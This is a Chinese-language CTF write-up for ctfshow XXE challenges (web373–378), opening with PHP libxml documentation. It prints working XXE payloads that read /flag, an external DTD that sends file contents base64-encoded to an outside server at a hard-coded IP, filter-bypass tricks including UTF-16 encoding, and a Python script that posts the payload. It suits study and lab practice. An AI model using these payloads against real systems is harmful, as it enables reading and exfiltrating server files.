by 和音 :::info libxml2.9.1及以后,默认不解析外部实体 :::

参考资料

https://www.w3school.com.cn/xml/index.asp
https://www.w3school.com.cn/dtd/index.asp
实体引用
ctfshow-XXE篇
ctfshow web入门-XXE

相关函数

libxml_disable_entity_loader

(PHP 5 >= 5.2.11, PHP 7)
libxml_disable_entity_loader - 禁用加载外部实体的功能 :::warning 本函数已自 PHP 8.0.0 起被废弃。强烈建议不要依赖本函数 :::

描述

  1. bool libxml_disable_entity_loader ([ bool $disable = true ] )

禁用/启用加载外部实体的功能。

参数

禁用(TRUE)或启用(FALSE)libxml扩展(如DOMXMLWriterXMLReader)来加载外部实体。

返回值

返回以前的值。

扩展内容

  • libxml_use_internal_errors() - 禁用libxml错误并允许用户根据需要获取错误信息

simplexml_import_dom

(PHP 5, PHP 7, PHP 8)
simplexml_import_dom - 从DOM节点获取SimpleXMLElement对象

描述

  1. SimpleXMLElement simplexml_import_dom ( DOMNode $node [, string $class_name = "SimpleXMLElement" ] )

这个函数接受一个DOM文档的一个节点,并将其放入一个SimpleXML节点中。这个新的对象可以被用作本地的SimpleXML元素。

参数

node
一个DOM元素节点
class_name
您可以使用这个可选参数,以便simplexml_import_dom()将返回指定类的对象。该类应该扩展SimpleXMLElement类。

返回值

返回一个SimpleXMLElement或失败时返回FALSE。

警告

此函数可能会返回布尔FALSE,但也可能会返回一个非布尔值,其值为FALSE。 有关更多信息,请阅读布尔部分。 使用===运算符来测试此函数的返回值。

例子

示例#1 导入DOM

  1. <?php
  2. $dom = new DOMDocument;
  3. $dom->loadXML('<books><book><title>blah</title></book></books>');
  4. if (!$dom) {
  5. echo 'Error while parsing the document';
  6. exit;
  7. }
  8. $s = simplexml_import_dom($dom);
  9. echo $s->book[0]->title;

上面的例子将输出:

  1. blah

扩展内容

  • dom_import_simplexml() - 从SimpleXMLElement对象中获取DOMElement对象

DOMDocument::loadXML

(PHP 5, PHP 7)
DOMDocument::loadXML — 从一个字符串中加载XML

说明

  1. public DOMDocument::loadXML ( string $source , int $options = 0 ) : DOMDocument|bool

从一个字符串中加载一个XML文档

参数

source
包含XML的字符串
options
Bitwise OR of the libxml option constants

返回值

成功时返回 true, 或者在失败时返回 false。如果是静态调用,返回一个 DOMDocument 或者在失败时返回 false

错误/异常

如果一个空的字符串被传递为源,将产生一个警告。这个警告不是由 libxml 产生的,不能用 libxml 的错误处理函数来处理。
此方法可以被静态调用,但会抛出一个 E_STRICT 错误。

范例

Example #1 Creating a Document

  1. <?php
  2. $doc = new DOMDocument();
  3. $doc->loadXML('<root><node/></root>');
  4. echo $doc->saveXML();

Example #2 Static invocation of loadXML

  1. <?php
  2. // Issues an E_STRICT error
  3. $doc = DOMDocument::loadXML('<root><node/></root>');
  4. echo $doc->saveXML();

PHP libxml 常量

函数 描述 注意
LIBXML_COMPACT 设置小型节点分配优化。会改善应用程序的性能
LIBXML_DTDATTR 设置默认 DTD 属性
LIBXML_DTDLOAD 加载外部子集
LIBXML_DTDVALID 通过 DTD 进行验证
LIBXML_NOBLANKS 删除空节点
LIBXML_NOCDATA 把 CDATA 设置为文本节点
LIBXML_NOEMPTYTAG 更改空标签(比如
改为


仅在 DOMDocument->save() 和 DOMDocument->saveXML() 函数中可用

LIBXML_NOENT 替代实体 启用实体替换可能会为XML外部实体(XXE)攻击提供便利
LIBXML_NOERROR 不显示错误报告
LIBXML_NONET 在加载文档时停止网络访问
LIBXML_NOWARNING 不显示警告报告
LIBXML_NOXMLDECL 在保存文档时,撤销 XML 声明
LIBXML_NSCLEAN 删除额外的命名空间声明
LIBXML_XINCLUDE 使用 XInclude 置换
LIBXML_ERR_ERROR 获得可恢复的错误
LIBXML_ERR_FATAL 获得致命错误
LIBXML_ERR_NONE 获得无错误
LIBXML_ERR_WARNING 获得简单警告
LIBXML_VERSION 获得 libxml 版本(例如:20605 或 20617)
LIBXML_DOTTED_VERSION 获得有点号的 libxml 版本(例如:2.6.5 或 2.6.17)

web373

  1. <?php
  2. error_reporting(0);
  3. libxml_disable_entity_loader(false); //启用加载外部实体
  4. $xmlfile = file_get_contents('php://input');
  5. if(isset($xmlfile)){
  6. $dom = new DOMDocument(); //创建一个DOMDocument对象
  7. $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); //加载xml文件 LIBXML_NOENT:启用XML字符实体引用的替代
  8. $creds = simplexml_import_dom($dom); //把 DOM 节点转换为 SimpleXMLElement 对象
  9. $ctfshow = $creds->ctfshow;
  10. echo $ctfshow;
  11. }
  12. highlight_file(__FILE__);

题目给出源码,一个有回显的文件读取漏洞
HackBar提交POST数据,方式选择urlencoded(raw)
还可以用burp抓包提交

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///flag">]>
  3. <Glan>
  4. <ctfshow>
  5. &xxe;
  6. </ctfshow>
  7. </Glan>

:::warning 有回显的XXE:关键函数simplexml_import_dom,需要在Payload加上xml版本,否则无法正常解析
<?xml version=”1.0” encoding=”UTF-8”?> :::

Web374

  1. <?php
  2. error_reporting(0);
  3. libxml_disable_entity_loader(false);
  4. $xmlfile = file_get_contents('php://input');
  5. if(isset($xmlfile)){
  6. $dom = new DOMDocument();
  7. $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
  8. }
  9. highlight_file(__FILE__);

无回显的文件读取,需要进行外带
服务器新建一个test.dtd文件,内容如下:

  1. <!ENTITY % dtd "<!ENTITY &#x25; xxe SYSTEM 'http://119.91.205.51:9999/%file;'> ">
  2. %dtd;
  3. %xxe;

开启文件服务

  1. python3 -m http.Server 9999

然后在浏览器用POST方式提交数据(最后一行可省略)

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE test [
  3. <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
  4. <!ENTITY % aaa SYSTEM "http://119.91.205.51:9999/test.dtd">
  5. %aaa;
  6. ]>
  7. <Glan>123</Glan>

服务器可以看到被外带出来的flag数据,使用base64解码即可
image.png

Web375

  1. <?php
  2. error_reporting(0);
  3. libxml_disable_entity_loader(false);
  4. $xmlfile = file_get_contents('php://input');
  5. if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
  6. die('error');
  7. }
  8. if(isset($xmlfile)){
  9. $dom = new DOMDocument();
  10. $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
  11. }
  12. highlight_file(__FILE__);

无回显的文件读取,且禁用了版本号,和上面一样进行外带不写版本号即可
也可以在<?xml之后加个空格绕过,即<?xml version="1.0" encoding="UTF-8"?>
服务器上新建test.dtd(同上一题),开启文件服务,然后在浏览器提交以下POST数据

  1. <!DOCTYPE test [
  2. <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
  3. <!ENTITY % aaa SYSTEM "http://119.91.205.51:9999/test.dtd">
  4. %aaa;
  5. ]>

Web376

  1. <?php
  2. error_reporting(0);
  3. libxml_disable_entity_loader(false);
  4. $xmlfile = file_get_contents('php://input');
  5. if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
  6. die('error');
  7. }
  8. if(isset($xmlfile)){
  9. $dom = new DOMDocument();
  10. $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
  11. }
  12. highlight_file(__FILE__);

XML大小写敏感,所以解题方法同上。

  1. <!DOCTYPE test [
  2. <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
  3. <!ENTITY % aaa SYSTEM "http://119.91.205.51:9999/test.dtd">
  4. %aaa;
  5. ]>

不过好像对于XML的数据部分并没有大小写敏感的限制,比如上面的http可大写
服务器上新建test.dtd(同上一题),开启文件服务,然后在浏览器提交以下POST数据

Web377

  1. <?php
  2. error_reporting(0);
  3. libxml_disable_entity_loader(false);
  4. $xmlfile = file_get_contents('php://input');
  5. if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
  6. die('error');
  7. }
  8. if(isset($xmlfile)){
  9. $dom = new DOMDocument();
  10. $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
  11. }
  12. highlight_file(__FILE__);

无回显的文件读取,且禁用了版本号和http,和上面一样进行外带不写版本号改成利用 utf-16 编码即可
脚本如下:

  1. import requests
  2. url = 'http://12722cda-57f3-45cf-91f9-4ae4866eda68.challenge.ctf.show/'
  3. payload = """<!DOCTYPE test [
  4. <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
  5. <!ENTITY % aaa SYSTEM "http://119.91.205.51:9999/test.dtd">
  6. %aaa;
  7. ]>"""
  8. payload = payload.encode('utf-16')
  9. requests.post(url,data=payload)

Web378

提示是python xxe,登陆界面抓个包
image.png
可以看到是通过xml提交数据的,直接XXE注入即可

  1. <!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///flag" >]>
  2. <user><username>&xxe;</username><password>bbb</password></user>